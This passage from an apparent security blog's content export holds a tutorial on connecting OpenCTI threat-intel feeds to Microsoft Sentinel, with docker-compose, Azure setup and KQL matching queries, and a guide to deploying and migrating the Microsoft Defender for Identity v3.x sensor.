key:\nSet hostname to opencti.yourdomain.com for the SSL certificate Copy the Origin Certificate and Private Key Bashsudo mkdir -p /etc/ssl/opencti sudo nano /etc/ssl/opencti/origin.crt # paste the certificate sudo nano /etc/ssl/opencti/origin.key # paste the private key sudo chmod 644 /etc/ssl/opencti/origin.crt sudo chmod 600 /etc/ssl/opencti/origin.key Add a DNS A record at your domain registrar:\nName Type Value Proxy opencti A Your server IP Depends on your setup I would not recommend exposing OpenCTI directly to the internet. If possible, restrict access to specific IP ranges or put it behind a VPN. For an MDR context where multiple analysts need access, a site-to-site VPN or a zero-trust solution is a cleaner approach than opening it up publicly.\nReload nginx:\nBashsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx Start OpenCTI Bashcd /opt/opencti docker compose up -d docker compose logs -f opencti Initial startup takes 2–5 minutes. Elasticsearch initializes first, then OpenCTI creates the admin user. Once you see a log entry confirming the admin is ready, navigate to https://opencti.yourdomain.com and log in.\nPart 2: Adding threat intelligence feeds This is where OpenCTI starts earning its keep. Out of the box it already pulls in MITRE ATT\u0026amp;CK and OpenCTI’s own datasets (marking definitions, identities, locations). But you want IOCs, and for that you need external connectors.\nHere is what I added, just an example of a few free feeds. You can also move onto paid feeds like Recorded Future. For my POC this is just enough to demonstrate:\nConnector Data Notes AbuseCH SSL blacklist IP/domain C2 infrastructure URLhaus Malware URLs Live and recent malicious URLs ThreatFox IOCs IPs, domains, URLs, hashes tagged to malware families MalwareBazaar File hashes Recent malware sample hashes with family tags AlienVault OTX Pulses Broad threat intel, requires free API key CISA KEV CVEs Confirmed exploited vulnerabilities, high confidence VirusTotal File/URL reputation Enrichment on demand, requires free API key Generate UUIDs for each connector Each connector needs a unique UUIDv4:\nfor i in 1 2 3 4 5 6 7; do cat /proc/sys/kernel/random/uuid; done Update .env Add this section to your .env:\n########################### # THREAT INTEL CONNECTORS # ########################### CONNECTOR_ABUSECH_ID=\u0026lt;uuid-1\u0026gt; CONNECTOR_URLHAUS_ID=\u0026lt;uuid-2\u0026gt; CONNECTOR_ALIENVAULT_ID=\u0026lt;uuid-3\u0026gt; ALIENVAULT_API_KEY=\u0026lt;your-alienvault-api-key\u0026gt; CONNECTOR_THREATFOX_ID=\u0026lt;uuid-4\u0026gt; CONNECTOR_MALWAREBAZAAR_ID=\u0026lt;uuid-5\u0026gt; CONNECTOR_CISA_KEV_ID=\u0026lt;uuid-6\u0026gt; CONNECTOR_VIRUSTOTAL_ID=\u0026lt;uuid-7\u0026gt; VIRUSTOTAL_API_KEY=\u0026lt;your-virustotal-api-key\u0026gt; Get your API keys:\nAlienVault OTX: https://otx.alienvault.com → Settings → API Key VirusTotal: https://www.virustotal.com → Profile → API Key Add connectors to docker-compose.yml Add the following services to your docker-compose.yml under the threat intel section:\nconnector-abusech: image: opencti/connector-abuse-ssl:latest environment: - OPENCTI_URL=http://opencti:8080 - OPENCTI_TOKEN=${OPENCTI_ADMIN_TOKEN} - CONNECTOR_ID=${CONNECTOR_ABUSECH_ID} - CONNECTOR_NAME=AbuseCH - CONNECTOR_SCOPE=ipv4-addr,ipv6-addr,domain-name,url,file - CONNECTOR_AUTO=true - CONNECTOR_CONFIDENCE_LEVEL=80 - ABUSE_SSL_INTERVAL=43200 restart: always depends_on: opencti: condition: service_healthy connector-urlhaus: image: opencti/connector-urlhaus:latest environment: - OPENCTI_URL=http://opencti:8080 - OPENCTI_TOKEN=${OPENCTI_ADMIN_TOKEN} - CONNECTOR_ID=${CONNECTOR_URLHAUS_ID} - CONNECTOR_NAME=URLhaus - CONNECTOR_SCOPE=urlhaus - CONNECTOR_AUTO=true - CONNECTOR_CONFIDENCE_LEVEL=40 - URLHAUS_CSV_URL=https://urlhaus.abuse.ch/downloads/csv_recent/ - URLHAUS_IMPORT_OFFLINE=true - URLHAUS_CREATE_INDICATORS=true - URLHAUS_INTERVAL=3 restart: always depends_on: opencti: condition: service_healthy connector-alienvault: image: opencti/connector-alienvault:latest environment: - OPENCTI_URL=http://opencti:8080 - OPENCTI_TOKEN=${OPENCTI_ADMIN_TOKEN} - CONNECTOR_ID=${CONNECTOR_ALIENVAULT_ID} - CONNECTOR_NAME=AlienVault - CONNECTOR_SCOPE=alienvault - CONNECTOR_AUTO=true - CONNECTOR_CONFIDENCE_LEVEL=80 - ALIENVAULT_BASE_URL=https://otx.alienvault.com - ALIENVAULT_API_KEY=${ALIENVAULT_API_KEY} - ALIENVAULT_TLP=White - ALIENVAULT_CREATE_OBSERVABLES=true - ALIENVAULT_CREATE_INDICATORS=true - ALIENVAULT_PULSE_START_TIMESTAMP=2020-01-01T00:00:00 - ALIENVAULT_REPORT_TYPE=threat-report - ALIENVAULT_REPORT_STATUS=New - ALIENVAULT_GUESS_MALWARE=false - ALIENVAULT_GUESS_CVE=false - ALIENVAULT_EXCLUDED_PULSE_INDICATOR_TYPES=FileHash-MD5,FileHash-SHA1 - ALIENVAULT_ENABLE_RELATIONSHIPS=true - ALIENVAULT_ENABLE_ATTACK_PATTERNS_INDICATES=false - ALIENVAULT_INTERVAL_SEC=1800 restart: always depends_on: opencti: condition: service_healthy connector-threatfox: image: opencti/connector-threatfox:latest environment: - OPENCTI_URL=http://opencti:8080 - OPENCTI_TOKEN=${OPENCTI_ADMIN_TOKEN} - CONNECTOR_ID=${CONNECTOR_THREATFOX_ID} - CONNECTOR_NAME=ThreatFox - CONNECTOR_SCOPE=threatfox - CONNECTOR_AUTO=true - CONNECTOR_CONFIDENCE_LEVEL=40 - THREATFOX_API_KEY= - THREATFOX_CREATE_INDICATORS=true - THREATFOX_CREATE_OBSERVABLES=true - THREATFOX_IMPORT_OFFLINE=true - THREATFOX_INTERVAL=3 restart: always depends_on: opencti: condition: service_healthy connector-malwarebazaar: image: opencti/connector-malwarebazaar-recent-additions:latest environment: - OPENCTI_URL=http://opencti:8080 - OPENCTI_TOKEN=${OPENCTI_ADMIN_TOKEN} - CONNECTOR_ID=${CONNECTOR_MALWAREBAZAAR_ID} - CONNECTOR_NAME=MalwareBazaar - CONNECTOR_SCOPE=malwarebazaar - CONNECTOR_AUTO=true - CONNECTOR_CONFIDENCE_LEVEL=50 - MALWAREBAZAAR_CREATE_INDICATORS=true - MALWAREBAZAAR_INTERVAL=3 restart: always depends_on: opencti: condition: service_healthy connector-cisa-kev: image: opencti/connector-cisa-known-exploited-vulnerabilities:latest environment: - OPENCTI_URL=http://opencti:8080 - OPENCTI_TOKEN=${OPENCTI_ADMIN_TOKEN} - CONNECTOR_ID=${CONNECTOR_CISA_KEV_ID} - CONNECTOR_NAME=CISA KEV - CONNECTOR_SCOPE=identity,vulnerability - CONNECTOR_AUTO=true - CONNECTOR_CONFIDENCE_LEVEL=100 - CISA_CATALOG_URL=https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json - CISA_CREATE_INFRASTRUCTURES=false - CISA_TLP=TLP:CLEAR - CISA_INTERVAL=3 restart: always depends_on: opencti: condition: service_healthy connector-virustotal-livehunt: image: opencti/connector-virustotal-livehunt-notifications:latest environment: - OPENCTI_URL=http://opencti:8080 - OPENCTI_TOKEN=${OPENCTI_ADMIN_TOKEN} - CONNECTOR_ID=${CONNECTOR_VIRUSTOTAL_ID} - CONNECTOR_NAME=VirusTotal - CONNECTOR_SCOPE=StixFile,Artifact - CONNECTOR_AUTO=true - CONNECTOR_CONFIDENCE_LEVEL=50 - VIRUSTOTAL_API_KEY=${VIRUSTOTAL_API_KEY} - VIRUSTOTAL_MAX_TLP=TLP:AMBER - VIRUSTOTAL_CREATE_INDICATORS=true - VIRUSTOTAL_CREATE_OBSERVABLES=true - VIRUSTOTAL_INTERVAL_SEC=300 restart: always depends_on: opencti: condition: service_healthy Apply the changes:\nBashcd /opt/opencti docker compose down docker compose up -d Checking connector status Go to Data → Ingestion → Connectors. All connectors should turn green within a few minutes. AlienVault takes the longest on first sync. It pulls historical pulses going back to 2020 in my config, so give it time.\nOnce data starts flowing, you can browse it at:\nObservations → Indicators: all IOCs with source, type, TLP, and confidence Threats → Malware: malware families from MITRE and connectors Threats → Threat Actors: APT groups and their associated campaigns Techniques → Attack Patterns: MITRE ATT\u0026amp;CK techniques Part 3: Connecting OpenCTI to Microsoft Sentinel This is where the integration becomes operationally relevant. We’re going to push OpenCTI indicators into Sentinel’s Threat Intelligence blade in real time, so they can be used in analytics rules to match against ingested logs.\nThe connector is opencti/connector-sentinel-intel and it works via OpenCTI’s Live Stream feature: a server-sent events stream that pushes indicator create/update/delete events to the connector, which then forwards them to Sentinel via the Microsoft Graph API.\nAzure App Registration The connector authenticates to Microsoft’s Graph API using an Entra ID app registration. This gives OpenCTI permission to write threat indicators into your Sentinel workspace.\nRegister the application:\nGo to portal.azure.com Navigate to Microsoft Entra ID → App registrations Click New registration Fill in the details: Name: OpenCTI-Sentinel-Connector Supported account types: Accounts in this organizational directory only Redirect URI: leave empty Click Register You will land on the app overview page. Note down two values. You’ll need both later:\nApplication (client) ID: this is your CLIENT_ID Directory (tenant) ID: this is your TENANT_ID Add API permissions:\nThe connector needs permission to read and write threat indicators. This permission is on the Microsoft Threat Intelligence API, not Microsoft Graph.\nIn the left sidebar click API permissions Click Add a permission Scroll down and select Microsoft Threat Intelligence Select Application permissions (not Delegated) Expand the list and check ThreatIndicators.ReadWrite.OwnedBy Click Add permissions After adding the permission, it will show as Not granted. You need to grant admin consent:\nClick Grant admin consent for [your tenant name] Confirm by clicking Yes The permission status should now show a green checkmark and read Granted for [your tenant].\nThis step requires a Global Administrator or Privileged Role Administrator role in Entra ID. If you don’t have that role, ask your Azure admin to grant consent.\nCreate a client secret:\nThe connector uses a client secret to authenticate. Think of it as a password for the app registration.\nIn the left sidebar click Certificates \u0026amp; secrets Click Client secrets tab Click New client secret Set a description (e.g. opencti-connector) and an expiry period Click Add Azure will show the secret in the list. It has two columns:\nColumn Example What it is Secret ID dd93e053-7a34-4c21-... A UUID identifier: not what you need Value 90o8Q~LL_0U0dkHbX... The actual secret: this is what you copy Copy the Value column immediately Enable Threat Intelligence in Sentinel Before Sentinel can receive indicators from OpenCTI, you need to enable the Threat Intelligence solution and its data connector.\nInstall the Threat Intelligence solution:\nGo to Microsoft Sentinel → your workspace In the left sidebar click Content Hub In the search box type Threat Intelligence Click on the Threat Intelligence solution by Microsoft Click Install in the right panel Wait for the installation to complete. It installs the data connector, workbooks, and analytics rule templates.\nEnable the Threat Intelligence Platforms data connector:\nIn Microsoft Sentinel → Data connectors Search for Threat Intelligence Platforms Click on it and then click Open connector page Click Connect to enable it This connector is what receives the indicators pushed via the Microsoft Graph API. Without enabling it, no data will flow into Sentinel even if the OpenCTI connector is running correctly.\nVerify the connector is active:\nAfter connecting, the status should show as Connected with a green indicator. The Data received section will show the first data once indicators start flowing from OpenCTI.\nCreate a Live Stream in OpenCTI Go to Data → Data Sharing → Live Streams Click +, give it a name (e.g. Sentinel), leave it private, click Create Copy the generated Stream ID Get the Sentinel Workspace ID In Microsoft Sentinel → Settings → Workspace settings, copy the Workspace ID\nAdd connector to docker-compose.yml Generate a UUID for the connector:\ncat /proc/sys/kernel/random/uuid Add to .env:\n########################### # SENTINEL INTEGRATION # ########################### CONNECTOR_SENTINEL_INTEL_ID=\u0026lt;uuid\u0026gt; SENTINEL_STREAM_ID=\u0026lt;stream-id-from-opencti\u0026gt; SENTINEL_TENANT_ID=\u0026lt;directory-tenant-id\u0026gt; SENTINEL_CLIENT_ID=\u0026lt;application-client-id\u0026gt; SENTINEL_CLIENT_SECRET=\u0026lt;client-secret-value\u0026gt; SENTINEL_WORKSPACE_ID=\u0026lt;sentinel-workspace-id\u0026gt; Add to docker-compose.yml:\n########################### # SENTINEL INTEGRATION # ########################### connector-sentinel-intel: image: opencti/connector-sentinel-intel:latest environment: - OPENCTI_URL=http://opencti:8080 - OPENCTI_TOKEN=${OPENCTI_ADMIN_TOKEN} - CONNECTOR_ID=${CONNECTOR_SENTINEL_INTEL_ID} - CONNECTOR_LIVE_STREAM_ID=${SENTINEL_STREAM_ID} - CONNECTOR_LIVE_STREAM_LISTEN_DELETE=true - CONNECTOR_LIVE_STREAM_NO_DEPENDENCIES=true - \u0026#34;CONNECTOR_NAME=Microsoft Sentinel Intel\u0026#34; - CONNECTOR_SCOPE=sentinel - CONNECTOR_CONFIDENCE_LEVEL=80 - CONNECTOR_LOG_LEVEL=error - SENTINEL_INTEL_TENANT_ID=${SENTINEL_TENANT_ID} - SENTINEL_INTEL_CLIENT_ID=${SENTINEL_CLIENT_ID} - SENTINEL_INTEL_CLIENT_SECRET=${SENTINEL_CLIENT_SECRET} - SENTINEL_WORKSPACE_ID=${SENTINEL_WORKSPACE_ID} - \u0026#34;SENTINEL_INTEL_TARGET_PRODUCT=Azure Sentinel\u0026#34; - SENTINEL_INTEL_LOGIN_URL=https://login.microsoftonline.com - SENTINEL_INTEL_BASE_URL=https://graph.microsoft.com - SENTINEL_INTEL_RESOURCE_PATH=/beta/security/tiIndicators - SENTINEL_INTEL_EXPIRE_TIME=30 - SENTINEL_INTEL_ACTION=alert restart: always depends_on: opencti: condition: service_healthy Apply:\nBashcd /opt/opencti docker compose up -d connector-sentinel-intel docker compose logs -f connector-sentinel-intel The connector will show KeyError: 'data' errors on stream heartbeat messages. This is a known bug in the connector and does not affect functionality. What you should not see is authentication errors or Invalid URL 'NoneNone'.\nVerifying indicators in Sentinel Go to Microsoft Sentinel → Threat Intelligence. Indicators should start appearing within a few minutes:\nOnce indicators are in Sentinel you can query them in KQL:\nKQLThreatIntelIndicators | where TimeGenerated \u0026gt; ago(24h) | where isnotempty(ObservableKey) | extend IndicatorType = tostring(split(ObservableKey, \u0026#34;:\u0026#34;, 0)[0]) | summarize Count = count() by IndicatorType | order by Count desc Match IP indicators against CommonSecurityLog (firewalls, proxies):\nKQLlet dt_lookBack = 1h; let ioc_lookBack = 14d; let IP_Indicators = ThreatIntelIndicators | extend IndicatorType = replace(@\u0026#34;\\[|\\]|\\\u0026#34;\u0026#34;\u0026#34;, \u0026#34;\u0026#34;, tostring(split(ObservableKey, \u0026#34;:\u0026#34;, 0))) | where IndicatorType in (\u0026#34;ipv4-addr\u0026#34;, \u0026#34;ipv6-addr\u0026#34;, \u0026#34;network-traffic\u0026#34;) | extend TI_ipEntity = toupper(ObservableValue) | where TimeGenerated \u0026gt;= ago(ioc_lookBack) | where ipv4_is_private(TI_ipEntity) == false | where isnotempty(TI_ipEntity) | summarize arg_max(TimeGenerated, *) by TI_ipEntity; IP_Indicators | join kind=innerunique ( CommonSecurityLog | where TimeGenerated \u0026gt;= ago(dt_lookBack) | extend CS_ipEntity = toupper(DestinationIP) | where isnotempty(CS_ipEntity) ) on $left.TI_ipEntity == $right.CS_ipEntity | project TimeGenerated, TI_ipEntity, SourceIP, DestinationIP, DeviceVendor, Activity, Confidence, Tags | order by TimeGenerated desc Match domain indicators against DNS events:\nKQLlet dt_lookBack = 1h; let ioc_lookBack = 14d; let Domain_Indicators = ThreatIntelIndicators | where ObservableKey == \u0026#34;domain-name:value\u0026#34; | extend TI_domainEntity = tolower(ObservableValue) | where TimeGenerated \u0026gt;= ago(ioc_lookBack) | where isnotempty(TI_domainEntity) | summarize arg_max(TimeGenerated, *) by TI_domainEntity; Domain_Indicators | join kind=innerunique ( DnsEvents | where TimeGenerated \u0026gt;= ago(dt_lookBack) | extend DNS_Name = tolower(Name) | where isnotempty(DNS_Name) ) on $left.TI_domainEntity == $right.DNS_Name | project TimeGenerated, TI_domainEntity, ClientIP, Confidence, Tags | order by TimeGenerated desc Match file hash indicators against Defender for Endpoint:\nKQLlet dt_lookBack = 1h; let ioc_lookBack = 14d; let Hash_Indicators = ThreatIntelIndicators | where ObservableKey has \u0026#34;file:hashes\u0026#34; | extend TI_hashEntity = toupper(ObservableValue) | where TimeGenerated \u0026gt;= ago(ioc_lookBack) | where isnotempty(TI_hashEntity) | summarize arg_max(TimeGenerated, *) by TI_hashEntity; Hash_Indicators | join kind=innerunique ( DeviceFileEvents | where TimeGenerated \u0026gt;= ago(dt_lookBack) | extend File_SHA256 = toupper(SHA256) | where isnotempty(File_SHA256) ) on $left.TI_hashEntity == $right.File_SHA256 | project TimeGenerated, TI_hashEntity, DeviceName, FileName, FolderPath, Confidence, Tags | order by TimeGenerated desc Closing thoughts Coming from MISP, OpenCTI took me a little while to get used to: the mental model is different. But once you start navigating the entity graph and seeing how everything connects, it clicks. A malware hash becomes more than a hash: it’s part of a campaign, tied to a threat actor, mapped to ATT\u0026amp;CK techniques. That context is what makes the difference in an investigation.\nThe Sentinel integration is genuinely useful for an MDR operation. You maintain one source of truth for threat intelligence and it flows automatically into your SIEM without any manual steps. No CSV exports, no copy-pasting, no manual watchlist updates.\nIn a follow-up post I’ll look at using the imported indicators in Sentinel analytics rules and how to build workbooks around the threat intelligence data. For now. This stack is running, the indicators are flowing, and it’s already looking AND working good. Need to get more familiar with OpenCTI but honest: it’s promising.\n","date":"18 April 2026","externalUrl":null,"permalink":"/opencti-threat-intelligence-sentinel/","section":"All articles","summary":"","title":"Getting started with OpenCTI: threat intelligence connected to Microsoft Sentinel","type":"posts"},{"content":"","date":"2 April 2026","externalUrl":null,"permalink":"/microsoft-defender-for-identity/","section":"All topics","summary":"","title":"Microsoft Defender for Identity","type":"categories"},{"content":" Introduction In a previous post on modernsecurity.nl, I walked through the classic installation of Microsoft Defender for Identity (MDI) using the v2.x sensor: prerequisites, gMSA configuration, Windows event auditing, NTLM auditing, and the manual download-and-install process. If you’ve deployed MDI before, you’ll remember the overhead: downloading an installer package, running it on each domain controller, creating and maintaining a gMSA account, configuring audit GPOs, and dealing with Npcap.\nThat process is now behind us.\nWith the general availability of the Microsoft Defender for Identity sensor v3.x in early 2026, and the release of the portal-based migration wizard in March 2026, Microsoft has completely changed how MDI sensors are deployed and managed. The new sensor runs as an extension of Microsoft Defender for Endpoint (MDE): if MDE is already on your domain controllers (as it should be), MDI protection is now a matter of a few clicks from the portal.\nThis guide covers everything you need:\nWhat changed and why it matters Prerequisites for both fresh deployments and migrations Deploying the sensor from the Defender portal Migrating existing v2.x sensors to v3.x with zero downtime Post-deployment and post-migration configuration: RPC auditing, automatic Windows auditing, and gMSA removal All steps are verified against Microsoft Learn documentation and tested in live environments.\nWhat changed with the MDI sensor v3.x The biggest change is architectural. The v3.x sensor is not a standalone agent. It runs as a component within the MDE/SENSE service already present on your domain controllers. This is the long-awaited unification of endpoint and identity telemetry into a single agent.\nArea v2.x (classic) v3.x (new) Deployment Manual installer on each DC Portal-based activation, no installer Dependency Standalone agent Built on top of MDE (SENSE service) Authentication account gMSA required Local SYSTEM, no gMSA needed Windows auditing Manual GPO configuration Automatic configuration (preview) available RPC auditing Not available Available via asset rule tag Sensor updates Manual or delayed update ring Automatically via Windows Updates, no manual packages Delayed update ring Supported Not available (v2.x only) OS requirement Windows Server 2008 R2 and later Windows Server 2019 and later Npcap / WinPcap Required Not required Beyond deployment simplicity, v3.x also brings detection improvements: it uses the Windows Filtering Platform (WFP) for deeper network inspection, adds enhanced RPC auditing for advanced identity attack detections, and caps resource usage at 30% CPU and 1.5 GB memory.\nPrerequisites Before diving into the requirements, a quick note on scope. The v3.x sensor applies to domain controllers running Windows Server 2019 or later. Two scenarios still require the v2.x classic sensor:\nDomain controllers running Windows Server 2016 or earlier Standalone servers running AD FS, AD CS, or Microsoft Entra Connect without a DC role: v3.x will never apply here since the sensor only runs on domain controllers DCs that also run AD FS, AD CS, or Entra Connect alongside the DC role are supported by v3.x as of March 2026, but the migration wizard does not support them yet. Those require a fresh deployment. See Supported server roles and the following decision tree:\nSource: Microsoft Licensing and permissions One of the following licenses is required:\nLicense Enterprise Mobility + Security E5 (EMS E5/A5) Microsoft 365 E5 (E5/A5/G5) Microsoft 365 E5/A5/G5/F5 Security Microsoft 365 F5 Security + Compliance To deploy, you need one of the following:\nRole Detail Security Administrator Microsoft Entra ID built-in role Unified RBAC (alternative) System settings (Read and manage) + Security settings (All permissions) Server requirements Requirement Detail Operating system Windows Server 2019 or later Cumulative update March 2026 or later (KB5078766 for Windows Server 2022; KB varies by OS version) MDE deployment Microsoft Defender for Endpoint deployed and running (SENSE service active) Microsoft Defender Antivirus Active or passive mode both supported Power plan Set to High Performance on each DC Time sync Within 5 minutes across all DCs Memory (Hyper-V) Disable “Enable Dynamic Memory” on the VM Memory (VMware) Set reserved memory equal to configured memory, or enable “Reserve all guest memory (All locked)” The March 2026 cumulative update is a hard dependency. Without it, activation or migration will fail. Apply it to all domain controllers before proceeding. The KB number varies by OS version: KB5078766 is for Windows Server 2022.\nIf you are doing a fresh deployment, the target DC must not already have a v2.x sensor installed. If you are migrating, the v2.x sensor must be installed and running. Those prerequisites are listed separately in the Migration from v2.x to v3.x section.\nSupported server roles As of April 2026:\nRole Support status Domain controller only Fully supported, activation and migration wizard Domain controller + Entra Connect Rolling out: fresh deployment only, requires Windows Server 2019+, March 2026 CU Domain controller + AD FS Rolling out: fresh deployment only, requires Windows Server 2019+, March 2026 CU Domain controller + AD CS Rolling out: fresh deployment only, requires Windows Server 2019+, March 2026 CU Standalone AD FS / AD CS / Entra Connect (no DC role) Use v2.x sensor: v3.x does not apply Validating prerequisites Microsoft provides two useful PowerShell scripts from the DefenderForIdentity module. Both are optional but recommended before a large rollout. Both can be found in the portal from: Identities \u0026gt; Tools:\nTest-MDIReadiness checks sensor prerequisites: connectivity, permissions, MDE deployment, and overall sensor readiness:\nPowerShellInstall-Module -Name DefenderForIdentity Test-MDIReadiness New-MDIConfigurationReport generates an HTML report of your current Windows event auditing configuration, showing exactly which audit policies and SACL settings are missing or misconfigured:\nPowerShellNew-MDIConfigurationReport -Path \u0026#34;C:\\Reports\u0026#34; -Mode Domain -OpenHtmlReport Test-MDIReadiness is also available directly in the Defender portal at Identities \u0026gt; Tools (Preview), no download required. New-MDIConfigurationReport requires the PowerShell module installed locally.\nDeploying the sensor Activating the sensor Microsoft recommends activating the sensor on all domain controllers, including read-only domain controllers (RODCs). For complete coverage, make sure every DC, including RODCs, has MDE deployed and the March 2026 cumulative update installed before proceeding.\nNavigate to the Microsoft Defender portal and go to System \u0026gt; Settings \u0026gt; Identities \u0026gt; Activation.\nThe portal auto-discovers your domain controllers from the Device Inventory (populated by MDE onboarding). Each server is listed with its current activation state:\nActivation state What it means Activate new sensor DC is MDE-onboarded and eligible for v3.x activation Install classic sensor DC doesn’t meet v3.x requirements. Use the classic installer from the Sensors page OS upgrade is required DC runs an unsupported OS version In some portal versions the label may show as “Activate sensor v3.x” instead of “Activate new sensor”: both mean the same thing.\nWhen you first land on this page with no sensors deployed, you may see a “Simplify Your Installation Process” dialog. Click Activate servers to proceed with the new activation-based flow, no installer download needed.\nYou’ll also see two activation modes:\nAutomatically activate eligible servers: MDI activates sensors as soon as eligible DCs are discovered. Good for consistent environments. Manually select servers to activate: You control which DCs get activated. Recommended for phased rollouts and MSSP/MSP multi-tenant management. To activate:\nSelect one or more domain controllers from the list. Click Activate in the toolbar. In the “Activate New Sensor” confirmation dialog, verify the selected servers and click Activate. No installer download, no remote execution, no reboot required. When activation completes, a green success banner appears, click Click here to see the onboarded servers to go directly to the Sensors page.\nVerifying sensor status Navigate to Settings \u0026gt; Identities \u0026gt; On-premises \u0026gt; Sensors\nAfter activation, sensors will initially appear with the following status. This is expected:\nColumn Initial value Service status Onboarding Sensor status Outdated Version 3.0.0 Wait 15–30 minutes and refresh. A healthy sensor will show:\nColumn Expected value Service status Running Sensor status Up to date Version 3.0.7.419 or later The first activation on a tenant can take up to 1 hour to show as Running. Subsequent activations typically reflect within 5 minutes. No restart is required.\nConfiguring RPC auditing RPC (Remote Procedure Call) is a core Windows protocol heavily used in Active Directory for authentication, replication, and directory access. Attackers abuse it for lateral movement and privilege escalation. The v3.x sensor supports enhanced RPC auditing for advanced identity attack detections, but this must be explicitly enabled by applying the Unified Sensor RPC Audit tag via an asset rule.\nNavigate to Settings \u0026gt; Microsoft Defender XDR \u0026gt; Asset rule management and click Create a new rule\nIn the wizard:\nOn Name and description, enter Unified Sensor RPC Audit as the rule name, add a description, and click Next. On Rule conditions, define which devices the rule targets. Use Device name with Starts with conditions to match your DC naming convention. Use OR logic to cover multiple DCs. You can also filter by Domain or Device tag. Click Next.\nOnly target devices that already have the MDI v3.x sensor installed and running. The tag has no effect on devices without the v3.x sensor.\nOn Select actions, expand Apply a tag and select or type Unified Sensor RPC Audit. Click Next. On Review and finish, verify the rule name, tag, and number of affected devices. Click Submit. The rule can take up to 1 hour to take effect. To remove RPC auditing from a device later, delete the rule or update the conditions to exclude it.\nEnabling automatic Windows auditing Windows event log collection is the foundation of MDI’s detection engine. The sensor relies on events such as 4662 (object access), 4776 (NTLM authentication), and 4688 (process creation) to detect suspicious activity.\nIn the v2.x era, this required manually configuring Group Policy Objects, SACL entries on the domain root, and NTLM auditing registry values. With v3.x there’s a preview feature that handles all of this automatically.\nNavigate to Settings \u0026gt; Identities \u0026gt; General \u0026gt; Advanced features\nThe Automatic Windows auditing configuration (preview) toggle is set to Off by default. Toggle it to On and click Save preferences.\nWhat this configures automatically on each eligible DC:\nDirectory Services advanced auditing (SACL on the domain root object) NTLM auditing via Windows Registry Domain object auditing (SACL on the Configuration partition) AD FS auditing (SACL on the AD FS configuration container) Windows audit policy subcategories via Local Security Authority (LSA) APIs The check runs once every 24 hours, so it will self-correct any auditing drift over time, not just at initial deployment.\nGPO conflict warning: GPO settings applied to domain controllers can conflict with local settings applied by the sensor. If you have existing GPOs enforcing audit policies, check for conflicts after enabling this feature. The health alerts in Settings \u0026gt; Identities \u0026gt; Health issues will surface any configuration gaps that couldn’t be auto-corrected.\nThis feature only applies to domain controllers with the v3.x sensor installed and updated to the latest cumulative update. Manual GPO-based configuration still works if you prefer. See the Microsoft Learn documentation.\nMigration from v2.x to v3.x If you have existing MDI v2.x sensors, this section walks through the migration. The migration itself is portal-driven and non-disruptive: the v2.x sensor keeps running until the v3.x sensor is fully ready. After migration completes, there are a few configuration steps to apply, including switching away from gMSA.\nMigration prerequisites Requirement Detail Current sensor MDI v2.x installed and running Operating system Windows Server 2019 or later Cumulative update March 2026 or later (KB5078766 for Windows Server 2022; KB varies by OS version) MDE Microsoft Defender for Endpoint deployed and active DC role Domain controller only: no additional identity roles (AD FS, AD CS, Entra Connect) Important: The migration wizard does not support domain controllers that also run AD FS, AD CS, or Entra Connect roles, even though v3.x itself now supports these DCs via fresh deployment. If your DC carries one of these additional roles, uninstall the v2.x sensor manually and then activate v3.x from the Activation page instead of using the Migrate button.\nCommon issue: If a DC doesn’t appear as “Ready for migration”, check the MDE/SENSE service version first. An outdated MDE sensor can block the migration. Update MDE to the latest version and try again.\nRunning the migration Navigate to Settings \u0026gt; Identities \u0026gt; On-premises \u0026gt; Sensors. Eligible servers show Ready for migration in the Migration state column.\nSelect the DCs you want to migrate. You can select all at once or work in batches. Click Migrate in the toolbar. In the confirmation dialog, verify the server names and click Migrate. Migration takes up to 20 minutes per batch. During this time:\nThe v2.x sensor continues running and sending telemetry, no detection gap The v3.x sensor is installed and initialized in the background Switchover happens automatically once v3.x is ready No reboot is required The Migration state column will progress: Ready for migration → Migrating → Already V3 sensor.\nOnce complete, confirm the sensors show Service status Running, Sensor status Up to date, and version 3.0.7.419 or later.\nPost-migration configuration After migration completes, apply the following configuration steps:\nRemove gMSA\nThe v3.x sensor uses the Local SYSTEM account for all Active Directory queries and response actions. There is no longer a need for a Group Managed Service Account.\nCritical: If gMSA remains enabled after migration, response actions will stop working. This includes disabling compromised accounts, resetting passwords, and forcing password expiration, both automated and manual.\nNavigate to Settings \u0026gt; Identities \u0026gt; General \u0026gt; Manage action accounts, select Automatically use the sensor’s local system account, and click Save.\nIf you’re running a phased migration with some DCs still on v2.x, switch all sensors to local system accounts now. Mixing gMSA and local system in the same environment causes inconsistencies in response actions.\nConfigure RPC auditing\nIf the Unified Sensor RPC Audit asset rule doesn’t exist yet, create it following the steps in the Configuring RPC auditing section above. If the rule already exists, update the conditions to include the newly migrated DCs.\nEnable automatic Windows auditing\nNavigate to Settings \u0026gt; Identities \u0026gt; General \u0026gt; Advanced features and enable the Automatic Windows auditing configuration (preview) toggle if not already active. Existing auditing settings from the v2.x sensor are preserved during migration, but enabling automatic auditing will validate and correct any gaps.\nCleaning up the v2.x sensor After confirming the v3.x sensor is healthy, remove the legacy components from each DC.\nUninstall the v2.x sensor: Go to Settings \u0026gt; Apps (or Add/Remove Programs) and uninstall “Azure Advanced Threat Protection Sensor”.\nThis may require a server reboot. Plan it during a maintenance window. After uninstalling, the sensor entry is automatically removed from the portal. If it persists, delete it manually from Settings \u0026gt; Identities \u0026gt; Sensors.\nRemove Npcap: The v2.x sensor installed Npcap for network packet capture. The v3.x sensor does not use it. Unless another application on the DC requires Npcap, uninstall it via Add/Remove Programs.\nHealth alerts After deployment, keep an eye on Settings \u0026gt; Identities \u0026gt; Health issues for these two alerts:\nAlert Cause Sensor v3.x RPC audit misconfigured The Unified Sensor RPC Audit asset rule is missing or not matching the DC Windows event auditing gaps Automatic auditing found issues it could not auto-correct, typically a conflicting GPO Frequently asked questions Do I need to uninstall v2.x before activating v3.x?\nFor fresh deployments on a clean DC, yes: a DC cannot have both sensors simultaneously. For migrations, the portal wizard manages the transition automatically without a manual uninstall first.\nWhat are the known limitations in v3.x?\nKnown limitations of v3.x are: no VPN integration, no syslog notifications, and limited Azure ExpressRoute compatibility.\nWill I lose detection coverage during migration?\nNo. The v2.x sensor continues running and reporting until the v3.x sensor is fully initialized. There is no detection gap.\nMy DC runs Windows Server 2016: can I use v3.x? No. v3.x requires Windows Server 2019 or later with the March 2026 cumulative update. Either upgrade the OS or continue with the v2.x sensor.\nIs the March 2026 cumulative update a hard requirement?\nYes. Without it, activation or migration will fail. 